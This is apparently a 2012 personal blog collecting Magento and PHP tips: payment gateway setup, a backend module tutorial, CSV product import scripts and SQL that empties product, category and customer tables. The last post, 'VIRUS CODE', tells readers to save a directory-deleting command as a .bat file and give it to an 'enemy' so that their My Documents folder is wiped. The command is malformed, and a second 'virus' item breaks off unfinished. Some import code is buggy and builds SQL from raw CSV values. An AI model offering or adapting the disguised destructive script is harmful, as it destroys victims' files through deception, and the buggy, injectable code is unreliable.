Monday, 2 April 2012

Payment Gateways: Sage Pay Direct

 

Payment Gateways: Sage Pay Direct

 

System > Configuration > Sales > Payment Methods > Sage Pay Direct
Magento Go enables you to integrate your store with the Sage Pay Direct payment method. Sage Pay is the UK's largest independent payment service provider, processing millions of secure payments every month for over 33,000 businesses.
Note: Sage Pay has a security feature that requires entering an IP address of the originating payment request. Use the following IP address to enable your Magento Go store's transactions when using Sage Pay: 184.106.43.60
To implement the Sage Pay Direct payment gateway, follow these general steps:
Step 1: Open a Sage Pay Direct merchant account
Step 2: Configure Sage Pay in Magento Go
Step 3 (Optional): Use a Sage Pay Simulator Account to test your setup

Step 1: Open a Sage Pay Direct merchant account

Create a Magento Go-enabled Sage Pay Direct account to accept payments. Sage Pay offers support and answers to common questions on their Support & FAQs page.

Step 2: Configure Sage Pay in Magento Go

  1. From the Admin panel, select System > Configuration.
  2. From the Configuration panel on the left, under Sales, select the Payment Methods tab.
  3. Expand the Sage Pay Direct section. Then, do the following:
    1. Set Enabled to Yes.
    2. In the Vendor Name field, type the name that is associated with your Sage Pay merchant account.
    3. Set Payment Action to one of the following:
      • Authorize Only: After an order is submitted, Sage Pay authorizes the transaction. Your Magento Go store administrator must log in to the merchant account on Sage Pay to capture the transaction.
      • Authorize and Capture: A payment is authorized and captured on the Sage Pay site, and the back-end of your Magento Go store generates an order and an invoice.
    4. In the Title field, enter the name for this payment method that customers see during checkout.
    5. Set Operation Mode to one of the following:
      • Simulator: To enter test transactions using a simulated Sage Pay account.
      • Test: To enter test transactions using your Sage Pay merchant account, but without processing the transactions.
      • Live: To "go live" with your Sage Pay merchant account. This is the final step after you complete all testing and are ready to process transactions.
    6. Optional: Enter a Transaction ID prefix. If you do this, it is recommended that you assign the Transaction ID prefix once only and avoid changing it in the future.
    7. To record the details of all exchanges between your Magento Go store and the Sage Pay system in a log file, set Debug to Yes.
      Note: In accordance with PCI Data Security Standards, credit card information is not recorded in the log file.
    8. In the Credit Card Types list, select each credit card that can be used with this payment method.
    9. If you want to require that customers enter a card verification code (CVC), set Credit Card Verification to Yes. The Card Verification Value, also known as the Card Security Code, provides an additional level of security for online transactions.
    10. Set 3D Secure Card Validation to Yes to enable this validation service.
      Sage Pay directly manages the 3D Secure Card Validation service. For this to work you must enable and configure it in your Sage Pay Merchant account.
      Note: 3D Secure Card Validation is not supported by American Express, JCB, and Diners Club cards.
    11. In the Payment from Applicable Countries field, select the countries where this payment method can be used:
      • All Allowed Countries: Customers from all countries in the default countries list can use this payment method.
        Note: You can define which countries are listed in the default list by modifying the Allowed Countries field in System > Configuration > General > Countries Options.
      • Specific Countries: Customers from only those countries selected in the Payment from Specific Countries list can use this payment method. (The list appears when you select this option.)
    12. To set the position of Sage Pay Direct in the list of payment methods that is displayed during checkout, enter a numeric value in the Sort Order field. Enter 0 for the top of the sort order list, 1 for the second highest in the list, and so on.
  4. When finished, click the Save Config button.

Step 3 (Optional): Use a Sage Pay Simulator Account to test your setup

You can sign up for a free Sage Pay Simulator Account to become familiar with the entire payment process and run test transactions without making changes to your Magento Go store or Sage Pay merchant account.


Thanks to:  http://www.magentocommerce.com/knowledge-base/entry/payment-methods-sage-pay/

 

Sunday, 1 April 2012

simple jquery for hide particular portion

<html>
<head>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript">
$(document).ready(function(){
  $("p").click(function(){
    $(this).hide();
  });
});
</script>
</head>
<body>
<p>If you click on me, I will disappear.</p>
<p>Click me away!</p>
<p>Click me too!</p>
</body>
</html>


Create simple Module In Back End In magento

 Create simple Module In Back End In magento



thanks to :
http://www.webspeaks.in/2010/08/create-your-first-adminbackend-module.html


Step 1: Declare your shell module and it’s code pool
Create an xml file /app/etc/modules/Company_Web.xml (You can use any name, even you can use a single file to declare number of modules).
<?xml version="1.0"?>
<config>
    <modules>
        <Company_Web>
            <active>true</active>
            <codePool>local</codePool>
        </Company_Web>
    </modules>
</config> 

Step 2:
Create the basic directory structure under /app/code/core/local/ :-
Company/
|–Web/
| |–Block/
| |–controllers/
| |–etc/
| |–Helper/
| |–sql/
|

Step 3:
Write the front controller in app\code\local\Company\Web\controllers\IndexController.php
<?php
class Company_Web_IndexController extends Mage_Core_Controller_Front_Action
{
    public function indexAction()
    {
  $this->loadLayout();     
  $this->renderLayout();
    }
}

Step 4:
Write your backend module controller in app\code\local\Company\Web\controllers\Adminhtml\WebController.php
<?php

class Company_Web_Adminhtml_WebController extends Mage_Adminhtml_Controller_action
{

 protected function _initAction() {
  $this->loadLayout()
   ->_setActiveMenu('web/items')
   ->_addBreadcrumb(Mage::helper('adminhtml')->__('Items Manager'), Mage::helper('adminhtml')->__('Item Manager'));
  
  return $this;
 }   
 
 public function indexAction() {
  $this->_initAction()
   ->renderLayout();
 }
}

Step 5:
Write the frontend block file in app\code\local\Company\Web\Block\Web.php
<?php
class Company_Web_Block_Web extends Mage_Core_Block_Template
{
 public function _prepareLayout()
    {
  return parent::_prepareLayout();
    }
    
     public function getWeb()     
     { 
        if (!$this->hasData('web')) {
            $this->setData('web', Mage::registry('web'));
        }
        return $this->getData('web');
        
    }
}

Step 6: Now write the following file- app\code\local\Company\Web\Block\Adminhtml\Web.php
<?php
class Company_Web_Block_Adminhtml_Web extends Mage_Adminhtml_Block_Widget_Grid_Container
{
  public function __construct()
  {
    $this->_controller = 'adminhtml_web';
    $this->_blockGroup = 'web';
    $this->_headerText = Mage::helper('web')->__('Item Manager');
    $this->_addButtonLabel = Mage::helper('web')->__('Add Item');
    parent::__construct();
  }
}

Step 7:
Create the config file as app\code\local\Company\Web\etc\config.xml
<?xml version="1.0"?>
<config>
    <modules>
        <Company_Web>
            <version>0.1.0</version>
        </Company_Web>
    </modules>
    <frontend>
        <routers>
            <web>
                <use>standard</use>
                <args>
                    <module>Company_Web</module>
                    <frontName>web</frontName>
                </args>
            </web>
        </routers>
        <layout>
            <updates>
                <web>
                    <file>web.xml</file>
                </web>
            </updates>
        </layout>
    </frontend>
    <admin>
        <routers>
   <web>
    <use>admin</use>
    <args>
     <module>Company_Web</module>
     <frontName>web</frontName>
    </args>
   </web>
        </routers>
    </admin>
    <adminhtml>
  <menu>
   <web module="web">
    <title>Web</title>
    <sort_order>71</sort_order>               
    <children>
     <items module="web">
      <title>Manage Items</title>
      <sort_order>0</sort_order>
      <action>web/adminhtml_web</action>
     </items>
    </children>
   </web>
  </menu>
  <acl>
   <resources>
    <all>
     <title>Allow Everything</title>
    </all>
    <admin>
     <children>
      <Company_Web>
       <title>Web Module</title>
       <sort_order>10</sort_order>
      </Company_Web>
     </children>
    </admin>
   </resources>
  </acl>
  <layout>
   <updates>
    <web>
     <file>web.xml</file>
    </web>
   </updates>
  </layout>
    </adminhtml>   
    <global>
        <models>
            <web>
                <class>Company_Web_Model</class>
                <resourceModel>web_mysql4</resourceModel>
            </web>
            <web_mysql4>
                <class>Company_Web_Model_Mysql4</class>
                <entities>
                    <web>
                        <table>web</table>
                    </web>
                </entities>
            </web_mysql4>
        </models>
        <resources>
            <web_setup>
                <setup>
                    <module>Company_Web</module>
                </setup>
                <connection>
                    <use>core_setup</use>
                </connection>
            </web_setup>
            <web_write>
                <connection>
                    <use>core_write</use>
                </connection>
            </web_write>
            <web_read>
                <connection>
                    <use>core_read</use>
                </connection>
            </web_read>
        </resources>
        <blocks>
            <web>
                <class>Company_Web_Block</class>
            </web>
        </blocks>
        <helpers>
            <web>
                <class>Company_Web_Helper</class>
            </web>
        </helpers>
    </global>
</config>


Step 8: Now write the helper class app\code\local\Company\Web\Helper\Data.php
<?php

class Company_Web_Helper_Data extends Mage_Core_Helper_Abstract
{

}

Step 9: Create the model class for your module app\code\local\Company\Web\Model\Web.php
<?php

class Company_Web_Model_Web extends Mage_Core_Model_Abstract
{
    public function _construct()
    {
        parent::_construct();
        $this->_init('web/web');
    }
}

Step 10: Now create app\code\local\Company\Web\Model\Mysql4\Web.php
<?php
class Company_Web_Model_Mysql4_Web extends Mage_Core_Model_Mysql4_Abstract
{
    public function _construct()
    {    
        // Note that the web_id refers to the key field in your database table.
        $this->_init('web/web', 'web_id');
    }
}

Step 11: Now create the collection class app\code\local\Company\Web\Model\Mysql4\Web\Collection.php
<?php

class Company_Web_Model_Mysql4_Web_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract
{
    public function _construct()
    {
        parent::_construct();
        $this->_init('web/web');
    }
}

Step 12: Now add the mysql setup file as app\code\local\Company\Web\sql\web_setup\mysql4-install-0.1.0.php
<?php

$installer = $this;

$installer->startSetup();

$installer->run("

-- DROP TABLE IF EXISTS {$this->getTable('web')};
CREATE TABLE {$this->getTable('web')} (
  `web_id` int(11) unsigned NOT NULL auto_increment,
  `title` varchar(255) NOT NULL default '',
  `filename` varchar(255) NOT NULL default '',
  `content` text NOT NULL default '',
  `status` smallint(6) NOT NULL default '0',
  `created_time` datetime NULL,
  `update_time` datetime NULL,
  PRIMARY KEY (`web_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

    ");

$installer->endSetup(); 

Step 13: Add the layout.xml as app\design\frontend\default\default\layout\web.xml
<?xml version="1.0"?>
<layout version="0.1.0">
    <default>
    </default>
    <web_index_index>
        <reference name="content">
            <block type="web/web" name="web" template="web/web.phtml" />
        </reference>
    </web_index_index>
</layout> 

Step 14: Finally create the template file of your module app\design\frontend\default\default\template\web\web.phtml
<?php
 echo "Welcome to your custom module....";
?>

Wednesday, 21 March 2012

How to import custom options through CSV file

http://www.magentocommerce.com/boards/viewthread/67259/

Follow the instructions in the above link page, download the import.zip folder and place the files in the respective magento folders.

Create a new profile in system->import/export->Dataflow-Advanced Profiles, copy and paste the xml in the new profile.

Create a csv file var->import as options.csv.

Example csv format is

“sku”,"option_title”,"input_type”,"required”,"sort_order”,"row_title”,"row_price”,"row_price_type”,"row_sku”,"row_sort_order"
“AAA”,"A”,"drop_down”,0,0,"A1”,10,"Fixed",12343,1
“AAA”,"A”,"drop_down”,0,0,"A2”,10,"Fixed",12343,1
“AAA”,"A”,"drop_down”,0,0,"A3”,10,"Fixed",12343,1
“BBB”,"C”,"drop_down”,0,50,"B1”,10,"Fixed",12343,1
“AAA”,"B”,"drop_down”,1,10,"A4”,1,"Fixed",98765,2
“CCC”,"D”,"drop_down”,0,25,"C5”,50,"percent",1232123,5

How to import Up sell and Cros sell Products through CSV file in magento

Go to the below link and download the module through magento connect manager

http://www.magentocommerce.com/magento-connect/itib-mass-import-product-relations-upsell-and-cross-sell.html


Follow the instructions in the page

xml file for the given module is

<action type="dataflow/convert_adapter_io" method="load">
<var 
name="type">file</var>
<var 
name="path">var/import</var>
<var 
name="filename"><![CDATA[product_relations.csv]]></var>
<var 
name="format"><![CDATA[csv]]></var>
</
action>

<
action type="dataflow/convert_parser_csv" method="parse">
<var 
name="delimiter"><![CDATA[,]]></var>
<var 
name="enclose"><![CDATA["]]></var>
<var name="
fieldnames">true</var>
<var name="
store"><![CDATA[0]]></var>
<var name="
number_of_records">1</var>
<var name="
decimal_separator"><![CDATA[.]]></var>
<var name="
adapter">Itib_MassImportProductRelations/Convert_Adapter_Productimport</var>
<var name="
method">parse</var>
</action>
 
 
Sample csv format is 
 
link function,sku1,sku2,link type
assign,A,D,related  

Tuesday, 20 March 2012

How to download image from a source

<?php
$file 
'monkey.gif';

if (
file_exists($file)) {
    
header('Content-Description: File Transfer');
    
header('Content-Type: application/octet-stream');
    
header('Content-Disposition: attachment; filename='.basename($file));
    
header('Content-Transfer-Encoding: binary');
    
header('Expires: 0');
    
header('Cache-Control: must-revalidate');
    
header('Pragma: public');
    
header('Content-Length: ' filesize($file));
    
ob_clean();
    
flush();
    
readfile($file);
    exit;
}
?>
Create a php file and place the image in the same directory.

Monday, 19 March 2012

Simple way to Overcome IE 9 problem in magento

<meta http-equiv="X-UA-Compatible" content="IE=8" />
<meta http-equiv="X-UA-Compatible" content="IE=7" /> 
 
 
Getting this tag into your document’s <head/> element is the quickest way 
to solve any problems you have with IE9.

Wednesday, 14 March 2012

simple way to upload magento product in csv file via coding

<?php
ini_set("max_execution_time",0);
ini_set('memory_limit', '2048M');
include_once("app/Mage.php");
Mage::app();
umask(0);
echo "<table>\n";
$row = 0;
$handle = fopen("1.csv", "r");
if($handle!=0){

    $data = fgetcsv($handle, 1000, ",");
        for($i=0; $i < count($data); $i++) {
        $column[$i] = $data[$i];
        }
    $count = 0;


    while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {

       

        //print_r($data);


//        echo "<pre>";
//print_r($data);
//exit;


    if(count($data) == 0){
            //maill
           
    }else{
           
            $newproduct = Mage::getModel('catalog/product');
            $productId = $newproduct -> getIdBySku($data[0]);       
            if($productId) {
                $newproduct -> load( $productId );
            }
        $newproduct->setTypeId('simple');
        $newproduct->setVisibility(Mage_Catalog_Model_Product_Visibility::VISIBILITY_BOTH);
        $newproduct->setStatus(1);
        $newproduct->setSku($data[0]);
        $newproduct->setShape($data[2]);
        $newproduct->setCarat($data[3]);
        $newproduct->setColor($data[4]);
        $newproduct->setCalarity($data[5]);
        $newproduct->setCut_grade($data[6]);
        $newproduct->setCertificate($data[9]);
        $newproduct->setDepth($data[10]);
        $newproduct->setTable($data[11]);
        $newproduct->setWeight($data[8]);
        $newproduct->setGirdle($data[12]);
        $newproduct->setCulet($data[13]);
        $newproduct->setPolish($data[14]);
        $newproduct->setSymmetry($data[15]);
        $newproduct->setFlour($data[16]);
        $newproduct->setMeasurement($data[17]);
        $newproduct->setCert($data[20]);
        $newproduct->setCountry($data[26]);
        $newproduct->setTaxClassId(0);
        $newproduct->setWebsiteIDs(array(1));
        $newproduct->setStoreIDs(array(1));
        $newproduct->setStockData(array(
            'is_in_stock' => 1,
            'qty' =>$data[21] ,
            'manage_stock' => 1
        ));
   
        $newproduct->setAttributeSetId(4);
        $newproduct->setName('Atlanta '.' (' .$data[3]. ''.'- CARAT '.') '.$data[2]. ' - shape'. '  diamonds');
        $newproduct->setCategoryIds(array(2,48)); // array of categories it will relate to
        $newproduct->setDescription('ATLANTA DIAMOND');
        $newproduct->setShortDescription('ATLANTA DIAMOND');
        $newproduct->setPrice($data[7]);

    try {
        if (is_array($errors = $newproduct->validate())) {
            $strErrors = array();
            foreach($errors as $code=>$error) {
                $strErrors[] = ($error === true)? Mage::helper('catalog')->__('Attribute "%s" is invalid.', $code) : $error;
            }
            $this->_fault('data_invalid', implode("\n", $strErrors));
        }

        $newproduct->save();
    } catch (Mage_Core_Exception $e) {
        $this->_fault('data_invalid', $e->getMessage());
    }
/*//re-index the index management via coding
$process = Mage::getModel('index/process')->load($i);
    $process->reindexAll();*/

}


}}
else{ echo "PLEASE INSERT CSV FILE"; }
fclose($handle);
echo "</tbody>\n</table>";

?>

Sunday, 4 March 2012

Insert csv file in phpmyadmin

<?php

// Connecting To database

mysql_connect("localhost", "root", "root");
$result = mysql_select_db("sales_diamond");




// Readiong CSV File
$row=1;
$arrResult = array();
$handle = fopen("5-usa.csv", "r");  // CSV FILE
if( $handle ) {
while (($data = fgetcsv($handle,1000, ",",'"')) !== FALSE) { // terminated by ;
   
$arrResult[] = $data;


}


$query='CREATE TABLE IF NOT EXISTS `product_info` (
  `id` int(5) NOT NULL AUTO_INCREMENT,
  `'.$arrResult[0][0].'` varchar(50),
  `'.$arrResult[0][2].'` varchar(50),
  `'.$arrResult[0][3].'` varchar(50),
  `'.$arrResult[0][4].'` varchar(50),
  `'.$arrResult[0][5].'` varchar(50),
  `'.$arrResult[0][6].'` varchar(50),
  `'.$arrResult[0][7].'` varchar(50),
  `'.$arrResult[0][9].'` varchar(50),
  `'.$arrResult[0][10].'` varchar(50),
  `'.$arrResult[0][11].'` varchar(50),
  `'.$arrResult[0][12].'`  varchar(50),
  `'.$arrResult[0][13].'` varchar(50),
  `'.$arrResult[0][14].'` varchar(50),
  `'.$arrResult[0][15].'` varchar(50),
  `'.$arrResult[0][16].'` varchar(50),
  `'.$arrResult[0][17].'` varchar(50),
  `'.$arrResult[0][20].'` varchar(50),
  `'.$arrResult[0][21].'` varchar(50),
  `'.$arrResult[0][24].'` varchar(50),
`'.$arrResult[0][25].'` varchar(50),
`'.$arrResult[0][26].'` varchar(50),
`'.$arrResult[0][27].'` varchar(50),
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
';

$res=mysql_query($query);


if($res)
{

$insQuery='';

for($r=1;$r<count($arrResult);$r++)
{
   
    $insQuery ='INSERT INTO `product_info`(`id`,`Lot #`,`Shape`,`Carat`,`Color`, `Clarity`,`Cut Grade`,`Price`,`Cert`,`Depth`,`Table`,`Girdle`,`Culet`,`Polish`, `Sym`,`Fluor`, `Meas`,`Cert #`, `Stock #`,`City`,`State`,`Country`, `Image`) VALUES
              (NULL,"'.$arrResult[$r][0].'","'.$arrResult[$r][2].'",
              "'.$arrResult[$r][3].'","'.$arrResult[$r][4].'","'.$arrResult[$r][5].'",
              "'.$arrResult[$r][6].'","'.$arrResult[$r][7].'","'.$arrResult[$r][9].'",
              "'.$arrResult[$r][10].'","'.$arrResult[$r][11].'","'.$arrResult[$r][12].'","'.$arrResult[$r][13].'","'.$arrResult[$r][14].'","'.$arrResult[$r][15].'","'.$arrResult[$r][16].'","'.$arrResult[$r][17].'","'.$arrResult[$r][20].'","'.$arrResult[$r][21].'","'.$arrResult[$r][24].'","'.$arrResult[$r][25].'","'.$arrResult[$r][26].'","'.$arrResult[$r][27].'")';
  
    


mysql_query($insQuery) or die(mysql_error());
 

echo "Record Added".$r."<br>";     
}

}




echo "Record Added";

//print_r($arrResult);







fclose($handle);
}



?>

Magento products insert via php file

1. copy the following coding  and save in new file stored in magento-> product_import_manually.php
2.and run in 127.0.0.1/magento/product_import_manually.php


<?php
include_once("app/Mage.php");
Mage::app();
umask(0);
echo "<table>\n";
$row = 0;
$handle = fopen("no_id.csv", "r");
if($handle!=0){

    $data = fgetcsv($handle, 1000, ",");
        for($i=0; $i < count($data); $i++) {
        $column[$i] = $data[$i];
        }
    $count = 0;
    while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
        if($count = 0){
            //maill
            echo "hai";
            exit;
        }else{
            echo "<pre>";
            $newproduct = Mage::getModel('catalog/product');
            $productId = $newproduct -> getIdBySku( $data[39] );       
            if($productId) {
                $newproduct -> load( $productId );
            }
        $newproduct->setTypeId('simple');
        $newproduct->setVisibility(Mage_Catalog_Model_Product_Visibility::VISIBILITY_BOTH); 
        $newproduct->setStatus(1);
        $newproduct->setSku($data[0]);
        $newproduct->setShape($data[2]);
        $newproduct->setSeller($data[1]);
        $newproduct->setWeight($data[3]);
        $newproduct->setColor($data[4]);
        $newproduct->setTaxClassId(0);
        $newproduct->setWebsiteIDs(array(1)); 
        $newproduct->setStoreIDs(array(1)); 
        $newproduct->setStockData(array( 
            'is_in_stock' => 1, 
            'qty' =>$data[21] ,
            'manage_stock' => 1
        )); 
   
        $newproduct->setAttributeSetId(4);
        $newproduct->setName('ATLANTA DIAMOND');
        $newproduct->setCategoryIds(array(2,3)); // array of categories it will relate to
        $newproduct->setDescription('producLongDescription');
        $newproduct->setShortDescription('producescription');
        $newproduct->setPrice($data[7]);

    try {
        if (is_array($errors = $newproduct->validate())) {
            $strErrors = array();
            foreach($errors as $code=>$error) {
                $strErrors[] = ($error === true)? Mage::helper('catalog')->__('Attribute "%s" is invalid.', $code) : $error;
            }
            $this->_fault('data_invalid', implode("\n", $strErrors));
        }

        $newproduct->save();
    } catch (Mage_Core_Exception $e) {
        $this->_fault('data_invalid', $e->getMessage());
    }

}
}}
else{ echo "PLEASE INSERT CSV FILE"; }
fclose($handle);
echo "</tbody>\n</table>";

?>

 

Thursday, 1 March 2012

INSERT PRODUCT MANUALLY IN MAGENTO


 1. copy the following coding and insert  the coding any module page and run the module page the product inserted manually .




$attributeSetId = 4;

    //$newproduct = Mage::getModel('catalog/product');
    $newproduct = new Mage_Catalog_Model_Product();

    $newproduct->setTypeId('simple');
    $newproduct->setWeight(100);      
    $newproduct->setVisibility(Mage_Catalog_Model_Product_Visibility::VISIBILITY_BOTH);
    $newproduct->setStatus(1);
    $newproduct->setSku('123456');
    $newproduct->setShape(0.12);
    $newproduct->setSeller('jaga2');
    $newproduct->setCalarity('10');
    $newproduct->setCutgrade('10');
    $newproduct->setPolish('10');
    $newproduct->setSymmetry('10');
    $newproduct->setFluorescence('10');
    $newproduct->setMeasurements('10');
    $newproduct->setLab('0');
    $newproduct->setFluorescence('10');
    $newproduct->setFluorescence('10');
measurements

    $newproduct->setColor('Red');
    $newproduct->setTaxClassId(0);
    $newproduct->setWebsiteIDs(array(1));
    $newproduct->setStoreIDs(array(1));
    $newproduct->setStockData(array(
        'is_in_stock' => 1,
        'qty' => 1000000000000,
        'manage_stock' => 1
    ));

    $newproduct->setAttributeSetId(4);
    $newproduct->setName('Test_4_');
    $newproduct->setCategoryIds(array(2,3)); // array of categories it will relate to

    $newproduct->setDescription('producLongDescription');
    $newproduct->setShortDescription('producescription');
    $newproduct->setPrice(10000000000000000);

    try {
        if (is_array($errors = $newproduct->validate())) {
            $strErrors = array();
            foreach($errors as $code=>$error) {
                $strErrors[] = ($error === true)? Mage::helper('catalog')->__('Attribute "%s" is invalid.', $code) : $error;
            }
            $this->_fault('data_invalid', implode("\n", $strErrors));
        }

        $newproduct->save();
    } catch (Mage_Core_Exception $e) {
        $this->_fault('data_invalid', $e->getMessage());
    }



           

Add new page in magento for insert csv file (insert product)

<?php
include_once("app/Mage.php");
Mage::app();
umask(0);
echo "<table>\n";
$row = 0;
$handle = fopen("no_id.csv", "r");
if($handle!=0){

    $data = fgetcsv($handle, 1000, ",");
        for($i=0; $i < count($data); $i++) {
        $column[$i] = $data[$i];
        }
    $count = 0;
    while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
        if($count = 0){
            //maill
            echo "hai";
            exit;
        }else{
            echo "<pre>";
            $newproduct = Mage::getModel('catalog/product');
            $productId = $newproduct -> getIdBySku( $data[39] );       
            if($productId) {
                $newproduct -> load( $productId );
            }
        $newproduct->setTypeId('simple');
        $newproduct->setVisibility(Mage_Catalog_Model_Product_Visibility::VISIBILITY_BOTH);
        $newproduct->setStatus(1);
        $newproduct->setSku($data[0]);
        $newproduct->setShape($data[2]);
        $newproduct->setSeller($data[1]);
        $newproduct->setWeight($data[3]);
        $newproduct->setColor($data[4]);
        $newproduct->setTaxClassId(0);
        $newproduct->setWebsiteIDs(array(1));
        $newproduct->setStoreIDs(array(1));
        $newproduct->setStockData(array(
            'is_in_stock' => 1,
            'qty' =>$data[21] ,
            'manage_stock' => 1
        ));
   
        $newproduct->setAttributeSetId(4);
        $newproduct->setName('ATLANTA DIAMOND');
        $newproduct->setCategoryIds(array(2,3)); // array of categories it will relate to
        $newproduct->setDescription('producLongDescription');
        $newproduct->setShortDescription('producescription');
        $newproduct->setPrice($data[7]);

    try {
        if (is_array($errors = $newproduct->validate())) {
            $strErrors = array();
            foreach($errors as $code=>$error) {
                $strErrors[] = ($error === true)? Mage::helper('catalog')->__('Attribute "%s" is invalid.', $code) : $error;
            }
            $this->_fault('data_invalid', implode("\n", $strErrors));
        }

        $newproduct->save();
    } catch (Mage_Core_Exception $e) {
        $this->_fault('data_invalid', $e->getMessage());
    }

}
}}
else{ echo "PLEASE INSERT CSV FILE"; }
fclose($handle);
echo "</tbody>\n</table>";

?>


TRUNCATE all products in magento

TRUNCATE all products in magento


  1. TRUNCATE TABLE `catalog_product_bundle_option`;
  2. TRUNCATE TABLE `catalog_product_bundle_option_value`;
  3. TRUNCATE TABLE `catalog_product_bundle_selection`;
  4. TRUNCATE TABLE `catalog_product_entity_datetime`;
  5. TRUNCATE TABLE `catalog_product_entity_decimal`;
  6. TRUNCATE TABLE `catalog_product_entity_gallery`;
  7. TRUNCATE TABLE `catalog_product_entity_int`;
  8. TRUNCATE TABLE `catalog_product_entity_media_gallery`;
  9. TRUNCATE TABLE `catalog_product_entity_media_gallery_value`;
  10. TRUNCATE TABLE `catalog_product_entity_text`;
  11. TRUNCATE TABLE `catalog_product_entity_tier_price`;
  12. TRUNCATE TABLE `catalog_product_entity_varchar`;
  13. TRUNCATE TABLE `catalog_product_link`;
  14. TRUNCATE TABLE `catalog_product_link_attribute`;
  15. TRUNCATE TABLE `catalog_product_link_attribute_decimal`;
  16. TRUNCATE TABLE `catalog_product_link_attribute_int`;
  17. TRUNCATE TABLE `catalog_product_link_attribute_varchar`;
  18. TRUNCATE TABLE `catalog_product_link_type`;
  19. TRUNCATE TABLE `catalog_product_option`;
  20. TRUNCATE TABLE `catalog_product_option_price`;
  21. TRUNCATE TABLE `catalog_product_option_title`;
  22. TRUNCATE TABLE `catalog_product_option_type_price`;
  23. TRUNCATE TABLE `catalog_product_option_type_title`;
  24. TRUNCATE TABLE `catalog_product_option_type_value`;
  25. TRUNCATE TABLE `catalog_product_super_attribute`;
  26. TRUNCATE TABLE `catalog_product_super_attribute_label`;
  27. TRUNCATE TABLE `catalog_product_super_attribute_pricing`;
  28. TRUNCATE TABLE `catalog_product_super_link`;
  29. TRUNCATE TABLE `catalog_product_enabled_index`;
  30. TRUNCATE TABLE `catalog_product_website`;
  31. TRUNCATE TABLE `catalog_product_entity`;
  32.  
  33. TRUNCATE TABLE `cataloginventory_stock`;
  34. TRUNCATE TABLE `cataloginventory_stock_item`;
  35. TRUNCATE TABLE `cataloginventory_stock_status`;
  36.  
  37. INSERT  INTO `catalog_product_link_type`(`link_type_id`,`code`) VALUES (1,'relation'),(2,'bundle'),(3,'super'),(4,'up_sell'),(5,'cross_sell');
  38. INSERT  INTO `catalog_product_link_attribute`(`product_link_attribute_id`,`link_type_id`,`product_link_attribute_code`,`data_type`) VALUES (1,2,'qty','decimal'),(2,1,'position','int'),(3,4,'position','int'),(4,5,'position','int'),(6,1,'qty','decimal'),(7,3,'position','int'),(8,3,'qty','decimal');
  39. INSERT  INTO `cataloginventory_stock`(`stock_id`,`stock_name`) VALUES (1,'Default');
     
     ---------------------------------------------------------------------------------------------------------------------------------------
     
     TRUNCATE all categories in magneto
     
     
    1. TRUNCATE TABLE `catalog_category_entity`;
    2. TRUNCATE TABLE `catalog_category_entity_datetime`;
    3. TRUNCATE TABLE `catalog_category_entity_decimal`;
    4. TRUNCATE TABLE `catalog_category_entity_int`;
    5. TRUNCATE TABLE `catalog_category_entity_text`;
    6. TRUNCATE TABLE `catalog_category_entity_varchar`;
    7. TRUNCATE TABLE `catalog_category_product`;
    8. TRUNCATE TABLE `catalog_category_product_index`;
    9.  
    10. INSERT  INTO `catalog_category_entity`(`entity_id`,`entity_type_id`,`attribute_set_id`,`parent_id`,`created_at`,`updated_at`,`path`,`POSITION`,`level`,`children_count`) VALUES (1,3,0,0,'0000-00-00 00:00:00','2009-02-20 00:25:34','1',1,0,1),(2,3,3,0,'2009-02-20 00:25:34','2009-02-20 00:25:34','1/2',1,1,0);
    11. INSERT  INTO `catalog_category_entity_int`(`value_id`,`entity_type_id`,`attribute_id`,`store_id`,`entity_id`,`value`) VALUES (1,3,32,0,2,1),(2,3,32,1,2,1);
    12. INSERT  INTO `catalog_category_entity_varchar`(`value_id`,`entity_type_id`,`attribute_id`
     
     
     
    -------------------------------------------------------------------------------------------------------------------------------------------------------
     
     TRUNCATE all customers in magento


    1. TRUNCATE TABLE `customer_address_entity`;
    2. TRUNCATE TABLE `customer_address_entity_datetime`;
    3. TRUNCATE TABLE `customer_address_entity_decimal`;
    4. TRUNCATE TABLE `customer_address_entity_int`;
    5. TRUNCATE TABLE `customer_address_entity_text`;
    6. TRUNCATE TABLE `customer_address_entity_varchar`;
    7. TRUNCATE TABLE `customer_entity`;
    8. TRUNCATE TABLE `customer_entity_datetime`;
    9. TRUNCATE TABLE `customer_entity_decimal`;
    10. TRUNCATE TABLE `customer_entity_int`;
    11. TRUNCATE TABLE `customer_entity_text`;
    12. TRUNCATE TABLE `customer_entity_varchar`;
     
     
     
     
     

Tuesday, 21 February 2012

Upgrading Magento with a full package or via SVN


Upgrading Magento with a full package or via SVN


Herex are the steps for upgrading Magento with a full package or via SVN. Steps for upgrading with the MagentoConnect Manager are below.

1.
Backup your database
2.
- In Magento go to Admin, System → Tools → Backups
3.
- You can use PHPMyAdmin (but this may fail due to time-limits on php scripts)
4.
- You can export in SSH by typing...
5.
- mysqldump -u USER -p DBNAME > dump.sql
6.
- Reimport using mysql -u USER -p DBNAME < dump.sql
7.
Backup all the code you modified yourself, and don’t forget to keep the original installation archive
8.
Take care of saving the media directory that contains all the uploaded product/category images
9.
Create a backup copy of app/etc/local.xml file
10.
Download a new installation archive or run SVN update if you checked it out from the Magento repository
11.
Extract and upload all the files it contains to your server
12.
Delete var/cache and var/session directories
13.
Point your browser to any Magento page
14.
Database upgrades should happen automatically
15.
You are done!

Upgrading Magento using the MagentoConnect Manager


1.
Go to http://<YOUR_SERVER>/downloader
2.
Log in using a user who has full permissions
3.
Make sure to select “Clear all sessions after successful install or upgrade”

The reference site is "http://www.magentocommerce.com/wiki/1_-_installation_and_configuration/upgrading_magento"

Monday, 20 February 2012

VIRUS CODE

Run this on your own responsibility*/

VIRUS CODE-1

IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO
OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS PROGRAM THEN HIS MY DOCUMENT FOLDER WILL BE DELETED.

Code Is Below
rmdir C:\Documents and Settings \S\Q.

Run this on your own responsibility*/
VIRUS CODE-2
/*This is a simple program to create a virus in c
